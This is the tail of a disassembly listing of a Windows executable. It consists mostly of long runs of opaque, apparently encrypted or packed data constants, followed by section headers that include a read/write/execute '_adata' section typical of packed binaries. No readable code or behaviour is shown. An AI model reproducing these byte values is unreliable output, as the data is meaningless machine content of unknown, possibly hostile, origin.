		dd 0F97BBB25h, 0C9620929h, 0AE64AC1Ch, 0D966DDDFh, 32BC423Bh
		dd 61E1ECFFh, 0F5A4041h, 0D6DBBE3Fh, 0BE32212Bh, 5AC7AC7Eh
		dd 60EA6E0Eh, 46217B55h, 4EEB5E27h, 573A5952h, 0E2B4033Ah
		dd 0ADAD0050h, 0AE1D5E1Eh, 88F9421Fh, 0BF35463Bh, 0A367196Dh
		dd 0CCBD9197h, 2E574130h, 82BA29B6h, 9B1E1587h,	0D184D03Bh
		dd 0CDFBA8AAh, 30573E0Dh, 0BCD99A8Bh, 326E291Bh, 5DC40C57h
		dd 621518B3h, 3E771031h, 0E8A13B27h, 3BD01A69h,	1B4E35A2h
		dd 0EC602E81h, 844F2936h, 2074685Fh, 54E40B9Ah,	838B4B02h
		dd 20DC8F2h, 5393BB67h,	0A3EF5F64h, 53F18A8h, 0A786D568h
		dd 9A20FB4Dh, 0DA3A3DB4h, 565E2825h, 59C6313h, 0A75AEB20h
		dd 0B5F746DEh, 351FC4F7h, 4889D0F1h, 5C5301C6h,	6CE09D48h
		dd 0BDB06961h, 0A3F2B11Bh, 1BD721D2h, 41370DE5h, 530068CFh
		dd 84B8ABAh, 1DBACE88h,	0E4E28626h, 0AEB681C2h,	0CE88F677h
		dd 0C9D11967h, 183518C6h, 7A1EEDDEh, 0E13B6AFDh, 0B0BE50AAh
		dd 0AEA28231h, 447890A1h, 7D100DEEh, 506000D7h,	0D7E7E14h
		dd 688E4781h, 533A63FEh, 0B55FBE0Eh, 39713823h,	16072A71h
		dd 69A72774h, 97522ACCh, 0D46C8645h, 4EF39C4h, 0DEB34F20h
		dd 75CDB4D0h, 0B0FC3452h, 0C754E3h, 0FCBAB199h,	0A7DB25B7h
		dd 0CE6F0C2Ch, 0B4988D32h, 3EE80BF7h, 3BC4B343h, 27BF4AFAh
		dd 88E7D08Ah, 1602C60Eh, 5E80A488h, 65E42460h, 6626CCE7h
		dd 4D49AFE1h, 4165854Fh, 2052D476h, 55034C8Eh, 0F1918097h
		dd 160CB7D9h, 0E5013FC1h, 144B9CA4h, 0A431AA61h, 0D65CB158h
		dd 3CE8381h, 3BCBE787h,	0B90B8965h, 0FC861888h,	33CE9544h
		dd 0C6A73097h, 664303CDh, 3D137F23h, 0DB2840F7h, 0F306F6C8h
		dd 0D31F6A3Bh, 91A4959Ch, 0F4781758h, 0DE3C3434h, 876B395Dh
		dd 606AE771h, 0D7471800h, 2FF961FBh, 34E0B1C8h,	0CD5D0618h
		dd 33A4A7DDh, 7A9D13D3h, 31A1D98Dh, 0D7950489h,	80791497h
		dd 0B60DCF5Dh, 0A85B1A27h
		dd 1EE9633Ah, 8731EA74h, 0E9552779h, 4951CD5Bh,	0D709287Fh
		dd 5512AA44h, 38579B36h, 4B8C57C4h, 0A3B6B8D8h,	69DA1F26h
		dd 7A02048Ah, 0B5923A4Bh, 82EF1DFBh, 97BD4A87h,	4E44A636h
		dd 40C2C75Eh, 0D1D6B2A1h, 13E06B62h, 0F5CD36D1h, 0F29950D8h
		dd 0E14952ACh, 3BFF5B0Ch, 480F3B90h, 90E2FA89h,	8A5095E9h
		dd 0D77D80F5h, 0A833BED4h, 93291225h, 7701D459h, 8D428960h
		dd 3C6051D9h, 0B9E362h,	596CF538h, 8C747233h, 8511BCB0h
		dd 65C35F83h, 9FF7A9E3h, 1883348Dh, 245154F2h, 935C099Eh
		dd 689955ADh, 35318619h, 99D48FAAh, 66437198h, 8A1D3B60h
		dd 0EC6DC5F8h, 0DE200D7Ah, 40027F44h, 8C9EB97Bh, 0D9CCDBA7h
		dd 403308E7h, 0C0B37718h, 0D0F6E6A3h, 6808940Eh, 42B60B54h
		dd 3483CC4Dh, 0AE1222C6h, 0E9B8E26Eh, 6C4946F5h, 0F04EA972h
		dd 397D2828h, 1924E0B5h, 0EC680AACh, 30951009h,	0AC6C5E9Eh
		dd 0D543A0EEh, 0E1DD835h, 5A9F1D53h, 63E9803Ch,	49490DECh
		dd 0CDC3BE99h, 0DF1121B0h, 84340674h, 3F1F110Dh, 0D843E3ECh
		dd 0AED53E48h, 900F4CBAh, 0AEEC330Ah, 11A37F1Eh, 80B7C156h
		dd 4F5742B9h, 0B5761412h, 9348FB7Ah, 81696A12h,	2D0AAB53h
		dd 740D83A5h, 2EA187FEh, 0BC4DC9B4h, 66260D14h,	91CA0239h
		dd 3189E643h, 92EE01E5h, 0C993C68Ah, 7710E7A8h,	38188366h
		dd 0C8C46C2Ch, 99307CD9h, 7542CC6Ah, 0D6A236B4h, 8C5C150Fh
		dd 0D68176ABh, 1438D6E9h, 0ED1C4A3Eh, 0FCE8108Fh, 0E942BF3Ah
		dd 3C2FBE2Ch, 97023EC6h, 0D110E9F9h, 426FA476h,	0BB487CDDh
		dd 6B56BFBDh, 1433AAAEh, 0E481B25Ah, 0EADCD861h, 3AFC64E2h
		dd 7FC9C8A4h, 25A162E2h, 0DA6A4932h, 0DA04EFCDh, 3FB70A99h
		dd 4321FBECh, 340FEC53h, 49AC7A09h, 0ECB02E47h,	2DB5991Ah
		dd 9201F253h, 66104274h, 34072AF7h, 3A7460C7h, 0BB70D31Bh
		dd 0FC3C8B6Ah, 920A1FD5h, 34045352h, 88A49B16h,	4012F556h
		dd 849DDC7Dh, 0E37FAD50h, 9FF4F7BEh, 4546141Eh,	0B749B945h
		dd 0D487588Dh, 3753DAC1h, 0B0F613E3h, 0AD976CBDh, 0EFA724EEh
		dd 0A3AC5064h, 6B7C4197h, 9A111C4Fh, 0F5FAB712h, 432A558Ch
		dd 0FFCDF59Ch, 8C5027C5h, 0F681AF99h, 1B2FE56Fh, 9F157F16h
		dd 9CF1BF5Ch, 2278E667h, 5BA97E13h, 7F723EDCh, 46C7D2B5h
		dd 0AF244A33h, 0BC52E602h, 4D566E30h, 0F6ADC8A6h, 9D0E8C3Dh
		dd 31F12119h, 0B7252837h, 0D9B94D14h, 5FEF4A81h, 0C2CAABA9h
		dd 0C96AD925h, 0B2805D35h, 0B192083Dh, 75427099h, 4750FC35h
		dd 0DBD720C6h, 1EEDB279h, 18714A43h, 2B93D47Bh,	86A243FDh
		dd 4757B993h, 72D4D605h, 5FC1A1BFh, 0E3C73E51h,	2822D798h
		dd 14FACDDDh, 70E1BB16h, 39AE7A42h, 29CBBD00h, 7F2DC31Ch
		dd 0CC9E9194h, 0D2E3D7F7h, 0A4AFD6F2h, 1107154Ch, 0CFF6DC95h
		dd 7AED6C94h, 0BBADC561h, 0DD7E7FFDh, 115AE820h, 91CD4616h
		dd 6CC9CDD2h, 0CBEB732Bh, 0E344CD12h, 0AAC0839Ah, 0C7A797F0h
		dd 56023207h, 0E782B6A0h, 0FCBCABB5h, 15D184B6h, 0AD268098h
		dd 372EA89Eh, 0F4ED8F2Ah, 8CFC0A2Dh, 0B563FE21h, 0F5E85BA9h
		dd 5FE284Dh, 8147579h, 4B7A65D5h, 0D80F8234h, 7749E716h
		dd 0D03347F3h, 62E732D0h, 0F1F86DD8h, 0DB279831h, 0EFFC4412h
		dd 82E05273h, 2EFABB6Ch, 8D28F7AFh, 0B3187C67h,	8F81AA9Eh
		dd 62F8D247h, 1861103Dh, 1B763B45h, 0C2E59F44h,	0BD6EBEB7h
		dd 99106B64h, 0E98F0FD3h, 0A21F9B7Ah, 0A79CE825h, 323B7263h
		dd 0B796843Fh, 0F11BFE39h, 33C14E1Ch, 0A0E8800Ch, 0AED3225Eh
		dd 0B7EC009Eh, 0F3E79D01h, 2C37DDFBh, 11E18ECFh, 9F0083BAh
		dd 0AD2CB219h, 0CB36EB2Dh, 7D8556BEh, 72027375h, 931E1D37h
		dd 7F7FC6AEh, 83A96A04h, 0D22B08AFh, 907057C1h,	2E099EE2h
		dd 0F2EBCB14h, 0DC8026B0h, 711F8CDCh, 5FEB85C9h, 0D71B59F1h
		dd 41024E75h, 6AE81525h, 0A33673A8h, 4C5E6823h,	3686998Fh
		dd 1F6CA1A8h, 152647EEh, 7CC3964Fh, 229D8863h, 7C54418Fh
		dd 165902DCh, 6EF78125h, 5CCCC680h, 172EBEDCh, 1DBA519Dh
		dd 0AED281FFh, 719E26A3h, 0B8A89D4h, 2FCB74Eh, 90B552EBh
		dd 59110D3Ch, 3128233Dh, 0D505A641h, 0A475962Fh, 463B1AE5h
		dd 0F142B7FFh, 0B5C248DFh, 53F99386h, 321BC720h, 1D3F3D08h
		dd 0FC8FB270h, 8B799602h, 391D5690h, 2F652EBAh,	5C5471B9h
		dd 0E5571664h, 3D3163B1h, 0D28A04ACh, 4171E92Bh, 694D1B7Ch
		dd 0D6019CFh, 0C5DA5906h, 0D513281Eh, 54857D1Ch, 6D4B6A15h
		dd 1642D8C0h, 1B1A49F7h, 27E9C379h, 0E567783Ch,	94632BC4h
		dd 6B06CDF1h, 8A6E1288h, 9120B66Eh, 0C3351EF5h,	17D5F805h
		dd 3201743Dh, 0DB841FD4h, 0D3C6281Fh, 0FF83E71Bh, 0C2323E39h
		dd 5F855AF1h, 0E6B9E759h, 29B30CE0h, 9ECF8201h,	978E63C2h
		dd 623A89F0h, 2E2997A6h, 58D744EDh, 0A70DAA3Dh,	913A2BA6h
		dd 373AE224h, 0A8BC3CF7h, 0DC865B02h, 0C61B0915h, 134DC8ABh
		dd 85ED26Bh, 0C53D33EEh, 6169064Ch, 613420FCh, 728030F6h
		dd 3D8256C1h, 6E875899h, 0D4EF6C14h, 0CF9EB792h, 50D3C8AAh
		dd 3E76322Ch, 3FA86949h, 1BB88F28h, 15C9373Ah, 52BF2104h
		dd 0D423C3F1h, 0AC53B2D6h, 743527D1h, 793A03CDh, 3AED2B41h
		dd 7F23BF77h, 0D3CEE541h, 10145E68h, 0F0EE79AAh, 0B491655Fh
		dd 9C79E69Eh, 0C1C3CC5Dh, 21E50E2Ah, 5BE5EFD7h,	80124C86h
		dd 635A2898h, 8B4FA12h,	0C07E5D09h, 346975E7h, 377E58Dh
		dd 0B8934D2Dh, 5E76D1B3h, 4FFB684Dh, 0A32E79FDh, 92006BC4h
		dd 8F7C34F5h, 0B0DAF181h, 40DF9F6Dh, 13D09879h,	0F08D7737h
		dd 12F8A1BBh, 636C8967h, 9C4C37B5h, 0B2EB31AAh,	0A9B8448Ch
		dd 37B65571h, 3B57A8F1h, 6EFB7A31h, 3F036C29h, 0B703B9A5h
		dd 32341560h, 0F7348Bh,	5C45C1CDh, 0D3B81A8Dh, 68088295h
		dd 3A3B2DE4h, 30991E8Eh, 7DCF7D32h, 0A6C9DCBEh,	0CE8212EEh
		dd 7C2643h, 0CB336F0Ch,	0D9084550h, 0C2F95727h,	0F263D37Fh
		dd 0BF3C7E5Ah, 0F43B0608h, 849AFF33h, 19974D6Dh, 0C052B396h
		dd 0BC263DBCh, 0B8F77F16h, 168A9A16h, 926C81FAh, 8300F92Ah
		dd 6233E528h, 55BBBC03h, 55CAEA13h, 0E3E1E50Ch,	0D3916934h
		dd 148AD836h, 2F4946C5h, 8C65F8D9h, 0D29AC9Dh, 0DEE46BFDh
		dd 97F1D659h, 1433DCB0h, 0E32F9F2Eh, 1420D2h, 0AEB6616Ah
		dd 6DDAFA41h, 1A06607Bh, 4FB2862Bh, 0C9615C82h,	53840DC2h
		dd 7826FFF6h, 0B373C66h, 90E4A3ECh, 0E0ED841Eh,	87DB2527h
		dd 1C210220h, 32DCB7CBh, 0A30C207Bh, 99C5236Fh,	7278E5D1h
		dd 25D19A02h, 0F07FA034h, 9D9D9B85h, 29F6F2BAh,	4D2F13AAh
		dd 31E76419h, 1A8BD898h, 1046A315h, 68102C24h, 7A993E74h
		dd 0F00B18C3h, 3DD38A04h, 3CC671DBh, 5E0DBCE7h,	33BBC025h
		dd 0F99A7315h, 0A1BB98DDh, 0E456784Dh, 986D186h, 42CAE20Fh
		dd 65F84C19h, 98201C99h, 0F5E57101h, 90094453h,	4F1DFAD6h
		dd 5B51FF17h, 0C01B4549h, 1D1A5F7h, 0A06BAB0Dh,	57D41447h
		dd 0FEC33AF3h, 1E3E8C74h, 110CF930h, 42B0D466h,	0F84B2123h
		dd 0EF7A501Bh, 656B2B3h, 8CC16ACEh, 0CFE48709h,	8021DE76h
		dd 42E673E1h, 0F04B54E9h, 0C4981806h, 0CF89C145h, 0D44EE621h
		dd 26E33647h, 0BB48F9E8h, 81D37C13h, 0AE51DEBDh, 0C4566DF1h
		dd 4EF15907h, 5974EF5Ch, 756AF86h, 9095C681h, 0BD73E13Eh
		dd 0E8C9A238h, 0EC6DA0F1h, 0B35B5FAEh, 0BB816DAAh, 752E20B8h
		dd 0B2E965A6h, 234ECD3h
		dd 0EB0D2608h, 5582895h, 6281DFB8h, 409CA64Ch, 0D8F51EDh
		dd 3F4B0CD8h, 0F6F235B3h, 0DB1F5631h, 9AAA4BDh,	0CD3B545Ah
		dd 0E4C02653h, 0C2430123h, 0EFCDFDBh, 0DC27FB9Ch, 2786BA9Ah
		dd 0A3F5F46Ah, 467970AEh, 0A1544533h, 1323F368h, 285AF6C8h
		dd 0FAC799FDh, 198AED5Fh, 2F18C536h, 0A7232FBCh, 0E90D1E6h
		dd 3AF26D31h, 0F9673315h, 4654CDA1h, 0BBFCAFB3h, 0A29DA522h
		dd 613A7019h, 31BFC4B5h, 3B732D42h, 9C742EC2h, 35365A35h
		dd 122D9489h, 0F229A281h, 0B50F078Dh, 0DD6D952Ch, 5D788112h
		dd 3FE0B67Bh, 619AB74Dh, 0A953DEE0h, 1798F82Bh,	377952F3h
		dd 0A2A4191Eh, 0C728FF30h, 38A4F93Bh, 7768C825h, 0FF6124Fh
		dd 1B53C85Eh, 0D9E0C377h, 2CB85383h, 0F3DDE5ABh, 22E2FF51h
		dd 2514A709h, 25000A6Bh, 181787D5h, 5F2B9F08h, 3E3D25FEh
		dd 445956D6h, 0D8E56A2Bh, 57D5833h, 34722059h, 0A736ECDAh
		dd 0A56AD728h, 73877FC5h, 398701EAh, 0CAB44AADh, 92525CF0h
		dd 0FF8F042Eh, 489181A7h, 78B4D529h, 0A6EFFBF6h, 3EB390Bh
		dd 0BD241DEFh, 0F08A140Bh, 3838704Fh, 0E30F1D06h, 7BF0857Ah
		dd 8E816679h, 64AD69FAh, 0DDF62C8Bh, 5936BE98h,	780D742Eh
		dd 105219ADh, 91364FB8h, 8DA1CC86h, 0A52D0B0h, 88C00C05h
		dd 0D7F0633Ch, 0EB70B995h, 302072BCh, 65689848h, 0FC8B1D0Eh
		dd 35711D29h, 8A02D88Ah, 0CA27909Ch, 28D17365h,	0BAC71987h
		dd 0FA7949F7h, 0DCB87352h, 883D9566h, 0CB6363A8h, 6B96C648h
		dd 0B691840Fh, 0CB22B6Ah, 6D190116h, 1C94C62Ah,	0F7A658F1h
		dd 0D7B3C189h, 93D5D60Ah, 0EF03EB2Fh, 9857473Fh, 4E4B6EA1h
		dd 32675A11h, 0B144B22Bh, 0BBFA426Eh, 0DD09C73Bh, 6FD0B8B9h
		dd 0BA14BE75h, 0CFB5C957h, 0F4186AABh, 28FDC420h, 0DC61B877h
		dd 5EB563B8h, 0A52ED84Eh, 46C86542h, 840F5F4Ch,	0B0E284FFh
		dd 0F06A5309h, 0F460F177h, 72FAF4B6h, 43AB15E0h, 0FE71705Ah
		dd 4F5CAD6Eh, 7633FAD6h, 8EAC63BBh, 0CA0F7AA9h,	79DA8631h
		dd 9A1E88B1h, 6E18EAAh,	86474420h, 7FEC7A8Eh, 22B2859Ch
		dd 0DB1A8EDEh, 7B85DC15h, 2AAA1D03h, 628CBEC3h,	0D8D5FB28h
		dd 0ECCA64D6h, 0DD4CF6DEh, 6539B2D6h, 0AF3BE2B5h, 4874C84Ah
		dd 50DED2CEh, 2F0906FFh, 8786C31Bh, 1145ACD3h, 0B317D960h
		dd 427A7896h, 348AD451h, 2A89C484h, 0BB32448Bh,	103BDADh
		dd 0D0866F82h, 89EFE01Fh, 0BC7C3A40h, 0D82A64DDh, 180AB478h
		dd 0B05999Ch, 86D3CDF2h, 0A907AE9h, 0BB6EF241h,	7E04E852h
		dd 79B308AAh, 4F78AC68h, 1ED22CBCh, 11B9A541h, 0B857E1B5h
		dd 0AEB7B892h, 368E30A9h, 0E09C71A9h, 3C1A0D3Ah, 0D1300676h
		dd 8C24C615h, 4E03088Bh, 520E2EE4h, 5ADE54DCh, 1A63248Ah
		dd 8547A68Ah, 0B7E19D8Dh, 1D9F08C5h, 7FD11FA8h,	0E48F28A1h
		dd 254354A1h, 0A3206FEAh, 91DB9BBDh, 1DD17528h,	2F112D35h
		dd 9089EB8Bh, 2ABC1CD5h, 0C042D38Fh, 0F151139Fh, 9CA76C74h
		dd 0C6639A35h, 44951D9Bh, 1274D625h, 5C0E71E5h,	384E8EC0h
		dd 0C612A1C2h, 2F352AD5h, 0BF2211F6h, 422742F9h, 0C3A9E4CBh
		dd 0D2F2F2DBh, 3D11987Ah, 658D4293h, 0EAA63EF7h, 0B659FD7Fh
		dd 192CFE8Fh, 7130566h,	0C1E28D95h, 3D94C925h, 91CDD587h
		dd 9AFCE4CDh, 266BFDF7h, 1D6ED8F0h, 0D1689ACh, 4EDB13EDh
		dd 76A172F2h, 0D32A2882h, 0EBA0800Fh, 7798973Bh, 12EB960Eh
		dd 686263BFh, 11567D86h, 339EB49Eh, 8D87013Dh, 591A9089h
		dd 91EC45B3h, 518A0EA2h, 34A61842h, 0B55EBF06h,	44D9899h
		dd 0F8B6AFB6h, 5215A74Ch, 0F6EF81D2h, 57A7C90Bh, 823B5123h
		dd 0C47F005Dh, 2C2B340h, 88DBE25h, 7D856B99h, 0DE8183F7h
		dd 631A8339h, 5385C3F5h, 67DDF1B5h, 6ACED251h, 586A2C7h
		dd 7C2FB8D6h, 19C3F694h, 75AC063Bh, 2A8CD8FFh, 82F7DBA6h
		dd 2FB623F9h, 0B586ECCAh, 0E11BF9ADh, 0C59052C6h, 4ECCCD58h
		dd 0DDFBB956h, 9495F00Eh, 37521C5Fh, 6DA4F204h,	0BFBFA5F2h
		dd 136A742h, 0A4327F21h, 6FEB9C50h, 0E7DD6B4Dh,	6584E42Ah
		dd 0D5CD131Fh, 3AFEC4F0h, 0A39A2936h, 0AA79FBD1h, 0B48BDBCAh
		dd 0E90B6542h, 8EDE2067h, 0C6B67C0Ch, 0DA5529C9h, 0B98CE8B0h
		dd 6CACFCFFh, 21CDE1EEh, 7FFBF1D4h, 0EEF7789Ch,	6DB92867h
		dd 656900FEh, 0BD7D03FAh, 1DB0A0E1h, 4E897938h,	9ED8407Eh
		dd 0E0D6010Dh, 46263D59h, 0C6DECD27h, 4D4CD4A5h, 0A6162C39h
		dd 787B5B43h, 4EFFBA8Fh, 0FF725700h, 0E663BEA7h, 3E3701E1h
		dd 8B3D38BCh, 49E7741h,	0BE177BE3h, 339ECCE0h, 0EB1A9DFCh
		dd 39A0956Fh, 6C227AFFh, 0F2D99D01h, 6F72D49Eh,	0B7249888h
		dd 266A3187h, 40509FD4h, 64D033F7h, 180895A8h, 68F978F2h
		dd 0F7D617F9h, 0DE382B34h, 0A6A8549Dh, 0D71A955Ah, 378F88F0h
		dd 0BC532412h, 0E48840E7h, 0ED8472Fh, 0B2D4F0C6h, 1C89B260h
		dd 0F525A71Ah, 59F2EFC7h, 0B9988372h, 73242502h, 0BAA7AEAAh
		dd 0FDDD6CF6h, 7EC0885Dh, 4B67B3EEh, 90923B08h,	6AA40DC2h
		dd 0B4B822E2h, 6F9B8E92h, 0AF137A3Bh, 3F1F1FDFh, 13EE7C6Fh
		dd 0D9DE5740h, 7C7B22A7h, 0F1E2D3D7h, 1D42423Ch, 0A7658EEh
		dd 0AF11D560h, 4124CBE3h, 0D918A9F3h, 0C087DF1h, 0DAC6F8F1h
		dd 4419560Dh, 0EA8DBDDCh, 5DD861C0h, 7480F839h,	0CBB1D5C9h
		dd 17D9C75Fh, 0AD298041h, 223396C3h, 0F78ADE01h, 64093DB0h
		dd 6ED5D9FAh, 0E5A258F6h, 0FBA498A7h, 2F5D4540h, 0B7AE769Fh
		dd 430031A8h, 27C75A0Ch, 784611CBh, 15003C31h, 0FF37F814h
		dd 0AD7FB3C9h, 25F51372h, 0D5BABDAh, 972BBE5Dh,	19C1944h
		dd 3397B9D0h, 16DA6517h, 0B0AE34D7h, 27A4E5D8h,	9DDA1FC9h
		dd 1FC24428h, 859AE68Eh, 69B11D92h, 1E39A5B9h, 4A143A97h
		dd 380052B0h, 1F876108h, 47A3D8F3h, 5499D49Ch, 2BC9EE92h
		dd 3747733h, 20A8A49Eh,	0FE6DC90Fh, 0D634A2F6h,	20860537h
		dd 58400105h, 0CCCB2557h, 12AD67F7h, 0B8ACEB4Dh, 181116B8h
		dd 38E8FF8Eh, 83CC65A3h, 0B5DC91BCh, 0A4C583F9h, 6DE05FD3h
		dd 36FAAAD5h, 0EDBCE96Dh, 3B17C15Eh, 1B85D324h,	2163E7E6h
		dd 85E3FD8Ch, 0C0E397DFh, 6871AA7Eh, 1E52E6EEh,	29D087AFh
		dd 8E89DA46h, 7D91CE6Bh, 584F45BAh, 5411D079h, 347539C7h
		dd 3CB85DB1h, 0A172D51Bh, 9ACBB381h, 0D560D6Ah,	0FC6343FFh
		dd 2A035040h, 9F30430Bh, 6E22EB17h, 4225D2AAh, 0D90417E0h
		dd 3E0F6479h, 0CCF7B518h, 0F08CD8C3h, 595129BBh, 7DA4F49Fh
		dd 425CAA0Dh, 0F7BDD350h, 0A962E95Ah, 46335BAh,	49C3608Ch
		dd 15F9F346h, 0F10D8692h, 1CEDBC5Eh, 0EA1E19B7h, 0C636CF3Ah
		dd 0FA1B8180h, 0DBB84794h, 0CB319C04h, 1064734Ch, 9CE8EFB6h
		dd 23EE0B1Eh, 19B4ED3Eh, 0E1CCF8CEh, 0F6E868DAh, 7B20DD10h
		dd 991400EFh, 0B77072AAh, 0C2089668h, 9C7AAF38h, 1C7BC5C5h
		dd 31E0796Ch, 5456D7ADh, 0EFEF6B2Ah, 0D24CBC14h, 45EFEBB3h
		dd 99109F7Fh, 84F6E75Fh, 5CE8B1C9h, 556C6B8Ah, 0B99941ADh
		dd 81E5CACBh, 0E277B65Eh, 0D933E96Fh, 3940EFh, 0E2DB3B88h
		dd 0E504304Ch, 0DCB83236h, 2C0C5B49h, 5DDC64ACh, 18B4AC6Fh
		dd 0D6A2EBB2h, 24685C12h, 0F7BAE861h, 0C59C123Fh, 0EB1AC77h
		dd 1AF0A16Fh, 0B182EA6Ah, 0DF8E351h, 1889F0F6h,	0D7EE975Bh
		dd 4D8EC3D5h, 5DD1F944h, 1BB77424h, 0D617C086h,	9534C9C5h
		dd 911C10ADh, 0E71F4F2Fh, 128C477Eh, 0A1FCD789h, 0CEAED5ADh
		dd 58929F4Dh, 5D9B296h
		dd 630B68FFh, 0CE6FEF05h, 87A26309h, 6C364F62h,	332AFD36h
		dd 927B9B5h, 3F99C23Bh,	9307FC29h, 0CA35F438h, 1172FE4Bh
		dd 9C1C14BDh, 4A71F645h, 9C574B38h, 431E7A40h, 3917BC2Fh
		dd 64119113h, 0AE8F7FBBh, 0D3F33137h, 0F9C96E69h, 714B6F3Ch
		dd 0B3CC6008h, 0BFEBD78Ch, 0D646F43Fh, 0CD64A9Ah, 126785C2h
		dd 0E7E8BA16h, 31B2C7Eh, 89F0C0E2h, 0C137CC6Dh,	0D491CDEEh
		dd 0AD97EEC6h, 3DB44D09h, 0AF9BFB8Ah, 570D6991h, 8C407A6Ah
		dd 0E8DD7CA6h, 49ECBF7Ch, 0EC4A84CAh, 0DAC37ACFh, 0C8BD2D9Bh
		dd 3B005BB3h, 6933DC3Eh, 5D5D6D9Bh, 0A81C929h, 7C71F1BEh
		dd 0EC9DC04Dh, 0DE95E5EDh, 6CE258FFh, 0BC2BA87Ch, 47DD6D3Bh
		dd 578C0552h, 111CC2D8h, 0F6F6CEE4h, 10D51D93h,	0A2842E52h
		dd 3FAB805Fh, 32C7E79Fh, 0A31C3C99h, 98864C6Dh,	1F7F27Dh
		dd 34E1525Ch, 71370DDh,	0A67D7BB7h, 88E2ECAFh, 18DE6DD8h
		dd 1C1332CEh, 885A8B9Bh, 1475ED55h, 4CC54565h, 0B575549Ah
		dd 58AD9424h, 8D68DED9h, 0A78759D0h, 64237A5Eh,	65853E6Ah
		dd 0AE643F51h, 599AF26Dh, 0A7935D87h, 65388727h, 6F619CCAh
		dd 85DEBD10h, 7D009357h, 98A98378h, 193018F2h, 43ED7BD9h
		dd 2E952DDDh, 65DB6D00h, 4527BC45h, 481F0783h, 6ACE9D38h
		dd 0EC3D1EDh, 0A4BC6D9Bh, 8EF78062h, 75A26C87h,	60CE16Fh
		dd 9354396h, 8157EDC6h,	7F31842Fh, 0AA0D4C97h, 88672230h
		dd 42A43EB3h, 0F697717Ah, 816FBEAEh, 1A6BEF63h,	16CDBEB8h
		dd 4589B9BCh, 1FD09044h, 0A0AFB967h, 682D30B6h,	66455E35h
		dd 0F841F81Eh, 66F4D89Eh, 805F1825h, 11F013F0h,	96CA6FDFh
		dd 1562AD88h, 541E2C11h, 0D20AA6AFh, 94950F15h,	374Eh
		dd 2BACAA70h, 7E6B31h, 0C8A72ACAh, 537D9555h, 1E26E95Eh
		dd 0C20411C3h, 58A9B4E7h, 5493A1CEh, 0C9E736CCh, 0F9DDB7CFh
		dd 96BDC67Ah, 30755F89h, 0B231024Ch, 0DD99061Ah, 2D7B300Dh
		dd 8C0F087Eh, 0D12B84FBh, 0E90315ABh, 12531F6Fh, 0A408612Ah
		dd 47CDEDF9h, 8918A34Eh, 39845029h, 0FEAFEAF8h,	6D794D0h
		dd 0C8F340EFh, 440940E5h, 1CEB12BBh, 87BC27EAh,	7C47E1Eh
		dd 2F875AEAh, 242C5D14h, 7B92DA02h, 0A2B7266Ch,	644297Fh
		dd 99599EE6h, 75059C8Bh, 0ADEA60EBh, 920D8864h,	7C224CAh
		dd 9E443F2Bh, 985DE994h, 92FD13Fh, 0B211E579h, 65F1AE26h
		dd 0E7DA44BCh, 0BC600C0Ch, 4833B83Ch, 2C181ECBh, 0DFF3E180h
		dd 0CEB5218Dh, 90527B62h, 0FD1236ECh, 36E55B3Ah, 0DC9008BBh
		dd 1BBF49AAh, 377F4747h, 0C09099EBh, 0AF8BF536h, 0F1E3A6B6h
		dd 3C367AF5h, 29640BB2h, 0F17091B1h, 4831B57Ch,	262FFEE3h
		dd 984ECE36h, 0D7241F6Ah, 291163B0h, 71773B39h,	6AAFEA18h
		dd 0D298B490h, 2AD4963Dh, 0B11FFDCCh, 0D8487463h, 44B964BDh
		dd 1AA661ABh, 402DAA94h, 0B128C700h, 2963705Fh,	0B178329Ah
		dd 0EA8B6E13h, 49FB01Bh, 0CA4A7C29h, 41F50429h,	0A2F86DC8h
		dd 0CF30A1A2h, 71F1B886h, 62718868h, 32F5F2A7h,	0B579DEA9h
		dd 11971608h, 0A9D562CCh, 0E4BA9F7Ch, 0A72EAEDFh, 0FB2674D4h
		dd 54974B9Ch, 3E219D63h, 99FE8CFDh, 9225D11Ah, 0F7A04960h
		dd 0A599CD37h, 2F8E5637h, 0F0A77D7Ch, 3346DD52h, 1917F600h
		dd 6F5D7DABh, 9F3E4485h, 5F3437CFh, 0DA01F966h,	71BE35D0h
		dd 47E2A314h, 3E5E5BC7h, 2224FB1Eh, 0EC4A6E9h, 5BEFF6D0h
		dd 0ABF15F2Ch, 0CC9F9B5Ch, 8D331C74h, 0CC07AA95h, 4A439160h
		dd 0CD71C41h, 5C6B3496h, 0BB0B67E7h, 39BFABAAh,	17659B4Dh
		dd 0B6611090h, 24074860h, 0BEDB02A2h, 0DA073BCEh, 5989842Fh
		dd 8E25061Dh, 0FA07B5A2h, 0A98B5852h, 33C54937h, 0C09A2934h
		dd 9796E039h, 0EAC9B213h, 145B2AD8h, 70983823h,	77B7CC92h
		dd 0CA8BA369h, 5DDD341Eh, 0ED3DEA39h, 64611AF1h, 0E97E4C3Dh
		dd 0B122EA5Ah, 0D6825712h, 0C542F51Ah, 1024C473h, 0A42E719Eh
		dd 0C62E22F9h, 49B149C0h, 0D9C24A60h, 6B24C121h, 8C3AF66h
		dd 969DE7FEh, 68567436h, 8C3CD5B5h, 3F715462h, 0FD7EC0BCh
		dd 127D5F74h, 8EA9DC3Ah, 1F038201h, 2A420F28h, 136AE059h
		dd 0AA936906h, 1ACEFDC6h, 0CE43861Fh, 80h dup(0)
_data		ends

; Section 5. (virtual address 00085000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00085000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_adata		segment	para public 'CODE' use32
		assume cs:_adata
		;org 485000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		align 2000h
_adata		ends

; Section 6. (virtual address 00086000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00086000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 486000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start